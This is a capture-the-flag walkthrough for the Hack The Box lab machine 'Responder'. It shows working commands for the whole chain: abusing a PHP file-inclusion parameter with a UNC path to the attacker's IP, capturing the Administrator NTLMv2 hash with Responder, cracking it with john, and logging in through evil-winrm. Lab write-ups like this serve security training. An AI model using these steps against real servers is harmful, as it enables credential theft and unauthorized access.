Responder
Windows Easy box exploiting PHP file inclusion to trigger NTLM authentication to an attacker-controlled Responder instance, capturing the Administrator NTLMv2 hash, cracking it, and connecting via WinRM. Attack Chain: LFI/RFI (PHP page= param) -> Responder...
Scenario
Responder attack path
Windows Easy box exploiting PHP file inclusion to trigger NTLM authentication to an attacker-controlled Responder instance, capturing the Administrator NTLMv2 hash, cracking it, and connecting via WinRM. Attack Chain: LFI/RFI (PHP page= param) to Responder...
Objective
Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.
Walkthrough flow
Phase 2: Exploitation
Lessons Learned
Enumeration Timeline
Foothold (WinRM)
Source coverage
Moderate source coverage
Status: partial. This article is generated from 2 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.
Moderate confidence: the page is useful for review, but it should be treated as partial because the available source material is thinner or less narrative-complete.
- <TARGET>-Responder/walkthrough.md
- HTB/<TARGET>-Responder/notes.md
Technical Walkthrough
Responder - Walkthrough
Summary
Windows Easy box exploiting PHP file inclusion to trigger NTLM authentication to an attacker-controlled Responder instance, capturing the Administrator NTLMv2 hash, cracking it, and connecting via WinRM.
Attack Chain: LFI/RFI (PHP page= param) -> Responder NTLM capture -> John hash crack -> WinRM shell
Phase 2: Exploitation
Step 1: Start Responder
sudo responder -I tun0Responder listens for incoming NTLM authentication attempts on SMB/HTTP/etc.
Step 2: Trigger NTLM Auth via File Inclusion
curl -s 'http://unika.htb/index.php?page=//<TARGET>/someshare'The PHP include() function follows the UNC path, causing the Windows server to attempt NTLM authentication to our IP.
Step 3: Capture Hash
Responder captured the NTLMv2 hash:
Administrator::<secret redacted>:a3b1d83c2a4d89f3:<hash redacted>:0101000000000000...Step 4: Crack Hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtResult: Administrator:badminton (cracked instantly)
Step 5: WinRM Access
evil-winrm -i <TARGET> -u Administrator -p badmintonLogged in as responder\administrator.
Step 6: Capture Flag
type C:<local workspace>Flag: <hash redacted>
Key Techniques
- NTLM Relay/Capture: Windows will automatically send NTLM credentials when accessing a UNC path (\\IP\share). If an application can be tricked into accessing a remote UNC path, Responder can capture the hash.
- PHP File Inclusion to NTLM: PHP's
include()on Windows will follow UNC paths (//IP/share), triggering NTLM authentication. - Credential Reuse: The captured Administrator hash cracked to a weak password, allowing direct WinRM access.
Lessons Learned
- The
page=parameter accepting arbitrary paths (including UNC) is a critical vulnerability - Always check for WinRM (5985) on Windows targets - it's the preferred remote access once credentials are obtained
- Responder is extremely effective when combined with any file inclusion/SSRF that can reach an attacker-controlled IP
- Weak <password redacted> (like "badminton") in NTLMv2 hashes crack instantly against common wordlists
Source-Backed Dossier
The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.
Notes
Target Details
- IP: <TARGET>
- OS: Windows (TTL 127)
- Hostname: <secret redacted>
- Domain: <secret redacted> / <secret redacted>
- Difficulty: Easy (Starting Point)
- Attacker IP: <TARGET> (Pwnbox tun0)
Open Ports
| Port | Service | Version |
|---|---|---|
| 80 | HTTP | Apache 2.4.52 (Win64) PHP/8.1.1 |
| 5985 | WinRM | wsman |
| 7680 | pando-pub | Windows Update Delivery Optimization |
Enumeration Timeline
Web (Port 80)
- Root redirects to
http://unika.htb/(added to /etc/hosts) - PHP web app with language selector:
/index.php?page=french.html,/index.php?page=german.html - Vulnerability: Local/Remote File Inclusion via
page=parameter - Confirmed:
page=//<TARGET>/sharetriggers SMB connection back to attacker
NTLM Hash Capture
- Started Responder on Pwnbox:
sudo responder -I tun0 - Triggered NTLM auth:
curl http://unika.htb/index.php?page=//<TARGET>/someshare - Captured NTLMv2 hash for Administrator account
- Hash saved at:
/usr/share/responder/logs/SMB-NTLMv2-SSP-<TARGET>.txt
Hash Cracking
- Tool: john the ripper with rockyou.txt
- Result:
Administrator:badminton - Crack time: <1 second
Foothold (WinRM)
- Connected via evil-winrm:
evil-winrm -i <TARGET> -u Administrator -p badminton - Landed as:
responder\administrator
Flags
- Flag:
<hash redacted>(C:\Users\mike\Desktop\flag.txt)
Credentials
| Username | Password | Source |
|---|---|---|
| Administrator | badminton | NTLMv2 hash cracked via john/rockyou |